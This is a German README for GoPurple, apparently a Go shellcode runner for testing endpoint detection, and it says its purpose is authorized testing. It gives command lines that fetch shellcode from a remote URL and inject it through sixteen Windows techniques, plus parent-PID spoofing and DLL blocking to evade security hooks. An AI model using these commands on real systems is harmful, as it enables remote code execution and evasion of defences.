
Noch ein Shellcode-Runner besteht aus verschiedenen Techniken zur Bewertung der Erkennungsfähigkeiten von Endpunktsicherheitslösungen.
Dieses Projekt ist eine einfache Sammlung verschiedener Shellcode-Injektionstechniken, die darauf abzielt, den Prozess der Bewertung der Endpunkterkennung zu optimieren und gleichzeitig eine persönliche Herausforderung darstellt, um mich in die Welt von Golang einzuarbeiten.
1 - Erfordert eine installierte go-Umgebung.
2 - Erstellen Sie die Anwendung aus dem Projektverzeichnis: go build. Setzen Sie GOOS=windows, falls das Build-System nicht Windows ist.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
Ein Shellcode muss generiert werden. Dies kann mit Tools wie msfvenom oder shad0w erfolgen. Anschließend muss der Shellcode gehostet werden, um aus der Ferne heruntergeladen und auf dem entfernten Rechner ausgeführt zu werden. Der Übersichtlichkeit halber zeigen die folgenden Demos verschiedene Verwendungsmöglichkeiten des Tools.
1 - Shellcode-Injektion mit der BananaPhone-Methode + Shad0w als Shellcode-Generator

2 - Shellcode-Injektion mit der QueueUserAPC-Technik + Shad0w als Shellcode-Generator + Spoofing der übergeordneten Prozess-ID (explorer als übergeordnete ID) + Starten eines Prozesses durch gespoofte Parent-ID, die den Shellcode (calc) enthält + Schützen des Prozesses vor unsignierten DLL-Hooks, sodass nur von Microsoft signierte DLLs den Prozess hooken können.

3- Shellcode-Injektion mit CreateFiber + msfvenom als Shellcode-Generator

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application's process can hook into the process
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Alle Anerkennung gebührt den folgenden Personen für ihre hervorragenden Forschungen, Tools und Inspiration:
ne0nd0g: Der Großteil dieses Projekts wurde von go-shellcode übernommen
spotheplanet: Der Blogbeitrag inspirierte mich dazu, die Methode nach Golang zu portieren
_d00mfist: Großartige Implementierung der QueueUserAPC-Technik in Golang
c__sto: BananaPhone-Technik
batsec: Der großartige shad0w
chiragsavla94: Inspiriert von ProcessInjection
S4R1N: Für die Einführung der neuen alternativen Codeausführungen
Besonderer Dank an brimston3 für seine Unterstützung und seinen Beitrag
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
Dieses Projekt dient ausschließlich Bildungs- und ethischen Testzwecken. Die Verwendung von GoPurple zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.